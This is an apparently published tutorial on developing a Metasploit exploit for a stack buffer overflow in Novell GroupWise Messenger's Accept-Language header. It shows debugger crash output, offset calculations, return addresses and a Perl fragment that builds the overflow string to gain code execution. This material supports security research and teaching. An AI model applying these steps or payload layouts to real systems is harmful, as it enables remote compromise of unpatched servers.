Exploit modules developed for the Metasploit Framework are designed to contain the smallest amount of "boilerplate" code as possible. This allows us to extend features and APIs without having to rewrite each and every exploit module.  The exploit development process can be time consuming and frustrating - most of the time spent on an exploit is only represented by a few lines of finished code. In this post, I would like to walk you through the development process of a typical exploit module.

On April 13th, 3Com's Zero Day Initiative released an advisory about a buffer overflow in the instant messaging server for Novell GroupWise. The advisory explains that a long Accept-Language header will overwrite the stack, leading to arbitrary code execution.

The first step is to obtain the vulnerable software and install it onto a patched virtual machine. In this case, I chose a Windows 2000 SP4 VMWare image, made sure it was up to date, then started to look for the software. According to Novell's advisory, the vulnerable component can be found in the Novell GroupWise 7 Beta (and fixed in Support Pack 1, Beta 2), but it can also be downloaded as a separate component, without having to install all of GroupWise. GroupWise Messenger requires a NetWare tree and context, which requires eDirectory, which requires the Novell NetWare Client software. The process for installing GroupWise Messenger, from scratch is:

1) Locate a copy of the NetWare client and install it.
2) Download the eDirectory 8.8 Evaluation from Novell and install it.
3) Download the GroupWise Messenger 2 Evaluation from  Novell and install it.

Once you get past the configuration phase, the Messenger installer will ask you if you would like to start the agents (via a checkbox on the last window), check this and finish the install.

Two windows should pop up, one of them is the Archiving Agent and the other is the Messaging Agent. The Messaging Agent is responsible for hosting the vulnerable web service on port 8300. Open up your browser and verify that the web server is online and ready to serve requests. If the agent spits out an error when it starts, you probably specified an invalid redirect address during the install process, just reinstall the Messenger software using a valid, non-loopback IP address.

If you don't see either window, open up the Services control panel item, find the Novell Messager Messaging Agent service, and restart it.

Now that the Messaging Agent is running, we can start playing with the bug. This involves some basic debugging skills and a couple tools. I prefer to use WinDbg from Microsoft, but many folks like the OllyDbg interface and features better.  Regardless of which one you use, start it up, and attach to the Messenging Agent process. The process name will be listed as nmma.exe, and yes there are two of them, but in most cases the one with the higher process ID is the correct one. If you are using WinDbg, use F6 to open the Attach to Process dialog, find nmma.exe, and expand the process information by clicking on the little X to view the command line. The process you want will show nnmMessagingAgent in the command line. Complete attaching to the process, and use the go command (in WinDbg), to get the process running again.

Now that we have a debugger attached to process, its time to reproduce the bug. We need to send a HTTP GET request, with an Accept-Language header consisting of a string over 16 bytes in length. We want to start off with the longest string first and keep decrementing this string with each request until we get the crash. This ensures that the largest number of bytes under our control will be in memory and gives us the best chance of smashing a SEH pointer in the first attempt. The data we use as the string is a non-repeating (a lie, it does repeat, but not for quite a few bytes) alpha-numeric text string generated by Metasploit Framework's Pex library, specifically Pex::Text::PatternCreate(). A sample string looks like:

$ perl -I framework-2.5/lib -e 'use Pex; print Pex::Text::PatternCreate(64)'
Aa0Aa1Aa2[...]6Ab7Ab8Ab9Ac0A

Start off using 8192 bytes, then 4096, then 3000, then 2000. When we try 2000 bytes, the debugger throws an exception:

(e10.314): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=02c9e1b0 ecx=ffffffff
edx=61614273 esi=02c9e690 edi=61614273
eip=00430a7a esp=02c9e164 ebp=02c9e170
nmma 0x30a7a:
00430a7a f2ae repne scasb es:61614273=??

The scasb instruction compares the byte specified by the address in the edi register with the byte stored in the low 8 bits of the eax register. This opcode increments the edi by one each time it is called. The repne prefix causes this operation to be repeated, for as many times as the ecx register specifies, until the comparison returns true. In this case, we see that eax is 0 and ecx is set to the largest 32-bit value (0xffffffff). This means that this instruction will start reading at the memory address stored in edi and keep scanning until it finds a NULL byte (or 4Gb of data has been processed, not a likely occurrence). The edi register is set to 0x61614273, which is definitely part of the data that we control. To figure out what offset into our string is being used here, we use the patternOffset.pl script located in the sdk directory of the Metasploit Framework (v2.5).

$ perl sdk/patternOffset.pl 0x61614273 8192

No output. This means that before our data was used, the application modified it. We know the data is being used to overwrite some kind of string pointer and we know that the application is trying to figure out how long this string is by scanning it, looking for a NULL byte, and then seeing what ecx has been decremented to, obtaining the length of the string. The function we are in must be strlen() or an equivelent.

If we use Memory view in WinDbg and specifying esp as the address, we notice that the entire stack is covered in our data. The k command, which displays the call stack, shows that the return address of the current function has been smashed with the long text string. Upon closer inspection, we can see that all uppercase characters in our string have been converted to their lowercase equivalents.

We detach from the process and use the Services control panel to restart the service, wait for it to initialize, and then reattach WinDbg. The Novell advisory states that any value greater than 16 bytes will trigger the overflow, so instead of using our long string value, we send only 20 bytes, with the last 4 bytes specified as the string 0000 (0x30303030). The exception is thrown again, this time with edi set to 0x30303d42, 3346 bytes above the address we supplied. To pass this exception, we need to set this offset to a memory address, that when 3346 is added to it, points to a NULL terminated string.

Finding a NULL terminated string in memory isn't difficult, but we need to ensure that the address of the string doesn't contain any uppercase characters, NULLs, new lines, carriage returns, commas, or semicolons. Since we are just reading memory, we can use any loaded DLL that has an address in an acceptable range. On my system the dclient.dll module (part of eDirectory) is loaded at base address 0x61000000 and extends to 0x6104f000. Most of the addresses between 0x61010101 and 0x6104efff should work for us. The address 0x6102010c points to "0x01 0x00", a one-byte string that should allow us to pass the strlen() code. We then decrement this address by 3346 bytes, giving us 0x6101f3f9.

We detach from the process, restart the service, and reattach again. This time, we are going to send 16 bytes of padding, the 0x6101f3f9 address, packed in little-endian format ("\xf9\xf3\x01\x61") and followed by 1024 bytes of the non-repeating string pattern. A new exception appears:

(dc4.dac): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=61346961 ecx=00000002
edx=6102010b esi=6102010b edi=61346961
eip=00430a92 esp=02c9e164 ebp=02c9e170
nmma 0x30a92:
00430a92 f3a4 rep movsb ds:6102010b=01 es:61346961=??

The movsb instruction takes one byte from the address specified by the esi register and writes it to the address specified by the edi register, incrementing both esi and edi by one. The rep prefix indicates that this will repeat for as many times as the value in the ecx register specifies. We can guess that the value in ecx is the return value of our strlen() function, with one byte added to it to account for the NULL trailer. The edi register points to an address that is most definitely under our control. We know that the application will convert all uppercase characters to their lowercase equivalents, so we can start taking a guess at what offset into our non-repeating string is being used as the destination pointer.

$ perl sdk/patternOffset.pl 0x61346961 1024
[no output]
$ perl sdk/patternOffset.pl 0x41346941 1024
252

Great! We know that 252 bytes into our pattern, we can overwrite a character pointer that is used as the destination address in the above memory copy routine. At this point, we can set our source pointer to a string we control, and the destination pointer to anything we want to overwrite, and have a field day modifying global variables, overwriting pointers, and generally having our way with the process.

Now lets see what happens if we cause the memory copy to complete without an error. We need another address, this time pointing to writable memory, in a known location, that isn't made up of our restricted characters. Since we are using dclient.dll already for the source pointer, we might as well use it for the destination pointer as well. Using the objdump command, we see that the .data section of the dclient.dll module is at address 0x61041000. To make our memory copy safe, we increment our source pointer by one byte, so that points to NULL byte directly, then we find a destination pointer the .data section that also points to a single NULL byte. It just so happens the first dozen bytes of the .data section are already NULLs, so we can use 0x61041001 as the destination pointer and 0x6101f3fa as the source pointer. Technically, we can just use make both the source and the destination pointers the same and have them point to the same writable address, but you get the idea.

We bounce the service and reattach with the debugger. The next request will be 1024 bytes of non-repeating data, with the 4 bytes at offset 16 replaced with the source address, and the 4 bytes at offset 272 replaced with the destination address.

(db8.c58): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000002 ecx=6104100a
edx=61041001 esi=02c9e690 edi=02c9e559
eip=61386961 esp=02c9e2a4 ebp=00000000
61386961 ?? ???

We now have control of the execution path. We use patternOffset.pl to figure out what offset into our buffer matches up with the address in EIP. After converting the downcased 0x61's to 0x41's, we see that it is offset 264. The question is, what address do we put here? If we open up the WinDbg Memory view again and enter esp as the address, we see the following bytes:

02c9e2a4 69 39 61 6a

Again, we guess at what the un-downcased address was, convert this to little-endian, get 0x6a413969, then call patternOffset.pl to get offset 268. If we can find a sequence of opcodes in memory that perform a jmp esp, or a push esp; ret, we can use this to return directly back to our buffer. The Framework includes a tool specifically for this purpose, msfpescan. Since our exploit code is already dependent on dclient.dll, lets use msfpescan to look for a jmp esp instruction there:

$ msfpescan -f dclient.dll -j esp
0x6103c3d3  jmp esp
0x6103c92b   jmp esp
0x6103ca53   jmp esp
0x6103cbfb   jmp esp

With the exception of the third address (since 53 = uppercase S), all of these addresses can be used to jump back into our code. If we felt like being crafty, we could use the memcpy() routine to write a jmp esp opcode into a location of our choice, and then return into it. If we replace the 4 bytes at offset 264 with one of these addresses, the application will jump to the location in the esp register and then return into the code we place at offset 268. Since offset 268 is 4 bytes before our destination register, we need to jump past it, and then place our shellcode into the area immediately past the destination register. The easiest way to represent a jmp opcode in x86 is with "\xeb\xXX", where XX is replaced by the number of bytes to jump. This method is limited to jumping 129 bytes forward (127 2 bytes for the opcode itself) or 127 bytes backward. At offset 268, we place 2 bytes, "\xeb\x06", which will jump right over the destination pointer. We then place a single byte at offset 276, "\xcc", which represents the "int3" instruction that will cause the application to trap the debugger.

The entire string now looks like:

my $pattern = Pex::Text::PatternCreate(1024);
substr($pattern, 16, 4,  pack('V', 0x6101f3fa)); # SRC
substr($pattern, 272, 4, pack('V', 0x61041001)); # DST
substr($pattern, 264, 4, pack('V', 0x6103c3d3)); # JMP ESP
substr($pattern, 268, 2, "\xeb\x06"); # JMP 6
substr($pattern, 276, 1, "\xcc"); # TRAP

We detach from the process, restart the service, reattach, and send our new string:

(d78.33c): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000002 ecx=6104100a
edx=61041001 esi=02c9e690 edi=02c9e559
eip=02c9e2ac esp=02c9e2a4 ebp=00000000
02c9e2ac cc int 3

Hurray! We now have arbitrary code execution. The final trick is replacing the 0xCC byte with real shellcode that doesn't contain any of the restricted or uppercase characters. The current version of the Metasploit Framework has a tough time avoiding A-Z, so only a few payloads can be successfully encoded (such as win32_reverse_ord). The finished exploit module for version 2.5 can be automatically installed using the msfupdate -u command.

-HD

The Novell Messenger Messaging Agent service terminated unexpectedly.  It has done this 78 time(s).  The following corrective action will be taken in 0 milliseconds: No action